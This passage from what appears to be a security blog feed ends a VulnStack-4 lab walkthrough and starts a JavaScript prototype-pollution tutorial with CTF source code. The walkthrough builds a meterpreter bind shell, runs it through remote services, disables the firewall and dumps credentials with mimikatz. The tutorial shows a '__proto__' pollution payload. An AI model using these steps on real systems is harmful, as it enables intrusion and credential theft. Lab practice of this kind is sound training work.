src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705134918464.png" alt loading="lazy"></p><p>尝试<code>net use</code>登录域控</p><pre class="language-bash" data-language="bash"><code class="language-bash">net use <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N<span class="token function">dir</span> <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N<span class="token punctuation">\</span>c$</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705135037745.png" alt loading="lazy"></p><p>如上图，成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个<strong>正向</strong>的msf马。</p><pre class="language-bash" data-language="bash"><code class="language-bash">msfvenom -p windows/meterpreter/bind_tcp <span class="token assign-left variable">lhost</span><span class="token operator">=</span><span class="token number">192.168</span>.0.108 <span class="token assign-left variable">lport</span><span class="token operator">=</span><span class="token number">4455</span> -f exe -o bind.exe</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705135301027.png" alt loading="lazy"></p><p>传到Windows7上，然后用smb文件共享将msf马copy到域控的C盘</p><pre class="language-bash" data-language="bash"><code class="language-bash">upload /home/kali/Desktop/bind.exe</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705135451397.png" alt loading="lazy"></p><p>通过远程在域控上面设置好计划任务</p><pre class="language-bash" data-language="bash"><code class="language-bash">schtasks /create /tn <span class="token string">"test"</span> /tr C:<span class="token punctuation">\</span>windows<span class="token punctuation">\</span>system32<span class="token punctuation">\</span>bind.exe /sc MINUTE /S <span class="token number">192.168</span>.183.130</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705135730932.png" alt loading="lazy"></p><p>显示<code>Access is denied</code>，用sc服务来远程执行，设置服务来关闭防火墙</p><pre class="language-bash" data-language="bash"><code class="language-bash">sc <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N create unablefirewall <span class="token assign-left variable">binpath</span><span class="token operator">=</span> <span class="token string">"netsh advfirewall set allprofiles state off"</span>sc <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N start unablefirewall</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705140010708.png" alt loading="lazy"></p><p>创建服务执行msf马（msf正在监听）</p><pre class="language-bash" data-language="bash"><code class="language-bash">sc <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N create bindshell <span class="token assign-left variable">binpath</span><span class="token operator">=</span> <span class="token string">"c:<span class="token entity" title="\b">\b</span>ind.exe"</span>sc <span class="token punctuation">\</span><span class="token punctuation">\</span>WIN-ENS2VR5TR3N start bindshell</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705140424925.png" alt loading="lazy"></p><p>msf配置</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705140300413.png" alt loading="lazy"></p><p>成功上线域控</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705140509486.png" alt loading="lazy"></p><p>上传mimikatz抓明文密码</p><pre class="language-bash" data-language="bash"><code class="language-bash">upload /home/kali/Desktop/mimikatz.exe shellmimikatz.exeprivilege::debugsekurlsa::logonpasswords</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705141108130.png" alt loading="lazy"></p><p>拿到域管理员密码为<code>Test2008@!</code></p><h3 id="寻找敏感文件"><a href="#寻找敏感文件" class="headerlink" title="寻找敏感文件"></a>寻找敏感文件</h3><p>拿下域控后，我们就要寻找开头说的那个域控中的重要文件了。开启域控的远程桌面</p><pre class="language-bash" data-language="bash"><code class="language-bash">run post/windows/manage/enable_rdp</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705141301815.png" alt loading="lazy"></p><p>登录</p><pre class="language-bash" data-language="bash"><code class="language-bash">proxychains4 rdesktop <span class="token number">192.168</span>.183.130输入账号密码，账号：DEMO<span class="token punctuation">\</span>Administrator 密码：Test2008@<span class="token operator">!</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706103344426.png" alt loading="lazy"></p><p>传个everything</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706103708452.png" alt loading="lazy"></p><p>安装后开启里面的http服务</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706104015740.png" alt loading="lazy"></p><p>kali浏览器走个代理，socks5的</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706105033678.png" alt loading="lazy"></p><p>随后即可访问服务器上的所有文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706105540208.png" alt loading="lazy"></p><p>至于啥漂亮国攻击授权报告，靶机上没有这文件，估计是自己加上去的，但目的已达成，开溜~</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;本文全程参考 &lt;a href=&quot;https://www.freebuf.com/articles/network/244704.html&quot;&gt;记一次Vulnstack靶场内网渗透（二）&lt;/a&gt; 来复现渗透过程，目的在于学习渗透流程和基本思路，记录下学习笔记&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="https://www.extrader.top/categories/%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="靶机" scheme="https://www.extrader.top/tags/%E9%9D%B6%E6%9C%BA/"/>
    
      <category term="内网" scheme="https://www.extrader.top/tags/%E5%86%85%E7%BD%91/"/>
    
  </entry>
  
  <entry>
    <title>JavaScript原型链污染漏洞学习</title>
    <link href="https://www.extrader.top/posts/45af3b18/"/>
    <id>https://www.extrader.top/posts/45af3b18/</id>
    <published>2021-06-05T09:17:35.000Z</published>
    <updated>2022-03-26T05:48:50.951Z</updated>
    
    <content type="html"><![CDATA[<p>学点新东西，JavaScript独有的安全问题，JavaScript原型链污染，记笔记</p><span id="more"></span><h3 id="原型链"><a href="#原型链" class="headerlink" title="原型链"></a>原型链</h3><p>搬张图，转自：<a href="https://www.zhihu.com/question/34183746">https://www.zhihu.com/question/34183746</a></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/image-20210605172359234.png" alt loading="lazy"></p><p>JavaScript 只有一种结构：对象。每个实例对象（ object ）都有一个私有属性（称之为 <code>__proto__</code> ）指向它的构造函数的原型对象（<code>prototype</code> ）。该原型对象也有一个自己的原型对象( <code>__proto__</code> ) ，层层向上直到一个对象的原型对象为 <code>null</code>。根据定义，<code>null</code> 没有原型，并作为这个<strong>原型链</strong>中的最后一个环节。</p><p>所有类对象在实例化的时候将会拥有<code>prototype</code>中的属性和方法，这个特性被用来实现JavaScript中的继承机制。</p><ul><li>原型：原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承</li><li>原型链：原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。</li></ul><h4 id="proto"><a href="#proto" class="headerlink" title="__proto__"></a>__proto__</h4><p>每个对象都有 <code>__proto__</code> 属性，指向了创建该对象的构造函数的原型。其实这个属性指向了 <code>[[prototype]]</code>，但是 <code>[[prototype]]</code> 是内部属性，我们并不能访问到，所以使用 <code>__proto__</code> 来访问。</p><h4 id="prototype"><a href="#prototype" class="headerlink" title="prototype"></a>prototype</h4><p>每个函数都有 prototype 属性，除了 <code>Function.prototype.bind()</code>，该属性指向原型。所有的类对象在实例化的时候将会拥有<code>prototype</code>中的属性和方法</p><blockquote><p>遵循ECMAScript标准，<code>someObject.[[Prototype]]</code> 符号是用于指向 <code>someObject</code> 的原型。从 ECMAScript 6 开始，<code>[[Prototype]]</code> 可以通过 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a> 和 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf"><code>Object.setPrototypeOf()</code></a> 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 <code>__proto__</code>。</p><p>但它不应该与构造函数 <code>func</code> 的 <code>prototype</code> 属性相混淆。被构造函数创建的实例对象的 <code>[[Prototype]]</code> 指向 <code>func</code> 的 <code>prototype</code> 属性。<strong><code>Object.prototype</code></strong> 属性表示 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> 的原型对象。</p></blockquote><h3 id="原型链继承"><a href="#原型链继承" class="headerlink" title="原型链继承"></a>原型链继承</h3><p>首先定义一个函数f</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> <span class="token function-variable function">f</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>   <span class="token keyword">this</span><span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">// 这么写也一样</span><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>我们从一个函数里创建一个对象o，它自身拥有属性a和b的</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> o <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &#123;a: 1, b: 2&#125;</span></code></pre><p>在f函数的原型上定义属性</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">f<span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span>f<span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>c <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span></code></pre><p>不要在 f 函数的原型上直接定义 <code>f.prototype = &#123;b:3,c:4&#125;;</code>这样会直接打破原型链</p><p><code>o.[[Prototype]]</code> 有属性 b 和 c， (其实就是 <code>o.__proto__</code> 或者 <code>o.constructor.prototype</code>)</p><p><code>o.[[Prototype]].[[Prototype]]</code> 是 <code>Object.prototype</code></p><p>最后<code>o.[[Prototype]].[[Prototype]].[[Prototype]]</code>是null</p><p>这就是原型链的末尾，即 <code>null</code>，</p><p>根据定义，<code>null</code> 就是没有 <code>[[Prototype]]</code>。</p><p>综上，整个原型链如下:</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span><span class="token literal-property property">a</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span><span class="token number">2</span><span class="token punctuation">&#125;</span> <span class="token operator">--</span><span class="token operator">-</span><span class="token operator">></span> <span class="token punctuation">&#123;</span><span class="token literal-property property">b</span><span class="token operator">:</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">c</span><span class="token operator">:</span><span class="token number">4</span><span class="token punctuation">&#125;</span> <span class="token operator">--</span><span class="token operator">-</span><span class="token operator">></span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token operator">--</span><span class="token operator">-</span><span class="token operator">></span> <span class="token keyword">null</span></code></pre><p>a是o的自身属性吗？是的，该属性的值为 1</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre><p>b是o的自身属性吗？是的，该属性的值为 2</p><p>原型上也有一个<code>b</code>属性，但是它不会被访问到。</p><p>这种情况被称为<strong>属性遮蔽 (property shadowing)</strong></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o<span class="token punctuation">.</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre><p>c是o的自身属性吗？不是，那看看它的原型上有没有</p><p>c是<code>o.[[Prototype]]</code>的属性吗？是的，该属性的值为 4</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o<span class="token punctuation">.</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span></code></pre><p>d 是 o 的自身属性吗？不是，那看看它的原型上有没有</p><p>d 是 <code>o.[[Prototype]]</code> 的属性吗？不是，那看看它的原型上有没有</p><p><code>o.[[Prototype]].[[Prototype]]</code> 为 <code>null</code>，停止搜索</p><p>找不到 d 属性，返回 <code>undefined</code></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o<span class="token punctuation">.</span>d<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre><p>调用对象属性时, 会查找属性，如果本身没有，则会去<code>__proto__</code>中查找，也就是构造函数的显式原型中查找，如果构造函数中也没有该属性，因为构造函数也是对象，也有<code>__proto__</code>，那么会去<code>__proto__</code>的显式原型中查找，一直到null</p><h3 id="原型链污染"><a href="#原型链污染" class="headerlink" title="原型链污染"></a>原型链污染</h3><p>这里采用P🐮的例子来简单分析一下</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// foo是一个简单的JavaScript对象</span><span class="token keyword">let</span> foo <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">bar</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token comment">// foo.bar 此时为1</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>foo<span class="token punctuation">.</span>bar<span class="token punctuation">)</span><span class="token comment">// 修改foo的原型（即Object）</span>foo<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>bar <span class="token operator">=</span> <span class="token number">2</span><span class="token comment">// 由于查找顺序的原因，foo.bar仍然是1</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>foo<span class="token punctuation">.</span>bar<span class="token punctuation">)</span><span class="token comment">// 此时再用Object创建一个空的zoo对象</span><span class="token keyword">let</span> zoo <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token comment">// 查看zoo.bar</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>zoo<span class="token punctuation">.</span>bar<span class="token punctuation">)</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/image-20210605193352763.png" alt loading="lazy"></p><p>根据结果我们可以看到，<code>zoo.bar</code>打印出来的是2，foo是一个object实例，我们令<code>foo.__proto__.bar = 2</code>所以实际上是修改了<code>Object</code>这个类，增加了一个属性<code>bar</code>值为2，然后我们有创建了一个object类zoo，则zoo对象自然有一个bar属性</p><blockquote><p>在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是<strong>原型链污染</strong>。</p></blockquote><h3 id="利用手段"><a href="#利用手段" class="headerlink" title="利用手段"></a>利用手段</h3><ol><li>常发生在<code>merge</code> 等对象递归合并操作</li><li>对象克隆</li><li>路径查找属性然后修改属性的时候</li></ol><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">merge</span><span class="token punctuation">(</span><span class="token parameter">target<span class="token punctuation">,</span> source</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> source<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>key <span class="token keyword">in</span> source <span class="token operator">&amp;&amp;</span> key <span class="token keyword">in</span> target<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">merge</span><span class="token punctuation">(</span>target<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">,</span> source<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            target<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> source<span class="token punctuation">[</span>key<span class="token punctuation">]</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">let</span> o1 <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token keyword">let</span> o2 <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token string">'&#123;"a": 1, "__proto__": &#123;"b": 2&#125;&#125;'</span><span class="token punctuation">)</span><span class="token function">merge</span><span class="token punctuation">(</span>o1<span class="token punctuation">,</span> o2<span class="token punctuation">)</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o1<span class="token punctuation">.</span>a<span class="token punctuation">,</span> o1<span class="token punctuation">.</span>b<span class="token punctuation">)</span>  <span class="token comment">// 1,2</span>o3 <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>o3<span class="token punctuation">.</span>b<span class="token punctuation">)</span>  <span class="token comment">// 2</span></code></pre><p>这里为什么要用<code>JSON.parse</code>而不直接使用<code>let o2 = &#123;a: 1, &quot;__proto__&quot;: &#123;b: 2&#125;&#125;</code></p><p>如果不使用<code>JSON.parse</code>，则原型链并不会被污染，如下：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/image-20210605195054300.png" alt loading="lazy"></p><p>因为我们用JavaScript创建o2的过程（<code>let o2 = &#123;a: 1, &quot;__proto__&quot;: &#123;b: 2&#125;&#125;</code>）中，<code>__proto__</code>已经代表o2的原型了，此时遍历o2的所有键名，拿到的是<code>[a, b]</code>，<code>__proto__</code>并不是一个key，自然也不会修改Object的原型。</p><h3 id="栗子"><a href="#栗子" class="headerlink" title="栗子"></a>栗子</h3><h4 id="CISCN2020-littlegame"><a href="#CISCN2020-littlegame" class="headerlink" title="CISCN2020 littlegame"></a>CISCN2020 littlegame</h4><p>2020年的国赛题，当时保存了一份题目源码，于是这里拿出来复现一下</p><p>index.js</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> setFn <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'set-value'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> router <span class="token operator">=</span> express<span class="token punctuation">.</span><span class="token function">Router</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token constant">COMMODITY</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"sword"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Gold"</span><span class="token operator">:</span> <span class="token string">"20"</span><span class="token punctuation">,</span> <span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"50"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token comment">// Times have changed</span>    <span class="token string-property property">"gun"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Gold"</span><span class="token operator">:</span> <span class="token string">"100"</span><span class="token punctuation">,</span> <span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"200"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token constant">MOBS</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"Lv1"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"1"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"1"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token string-property property">"Lv2"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"5"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"10"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token string-property property">"Lv3"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"10"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"15"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token string-property property">"Lv4"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"20"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token string-property property">"Lv5"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"50"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"65"</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token string-property property">"Lv6"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"80"</span><span class="token punctuation">,</span> <span class="token string-property property">"Bounty"</span><span class="token operator">:</span> <span class="token string">"100"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token constant">BOSS</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// Times have not changed</span>    <span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token string">"201"</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> Admin <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"password1"</span><span class="token operator">:</span>process<span class="token punctuation">.</span>env<span class="token punctuation">.</span>p1<span class="token punctuation">,</span>    <span class="token string-property property">"password2"</span><span class="token operator">:</span>process<span class="token punctuation">.</span>env<span class="token punctuation">.</span>p2<span class="token punctuation">,</span>    <span class="token string-property property">"password3"</span><span class="token operator">:</span>process<span class="token punctuation">.</span>env<span class="token punctuation">.</span>p3<span class="token punctuation">&#125;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/BuyWeapon'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// not implement</span>    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"BOOS has said 'Times have not changed'!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/EarnBounty'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// not implement</span>    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"BOOS has said 'Times have not changed'!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/ChallengeBOSS'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// not implement</span>    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"BOOS has said 'Times have not changed'!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"/DeveloperControlPanel"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// not implement</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>key <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>password <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"What's your problem?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">let</span> key <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>key<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> password <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>password<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>Admin<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">===</span> password<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>process<span class="token punctuation">.</span>env<span class="token punctuation">.</span>flag<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"Wrong password!Are you Admin?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token 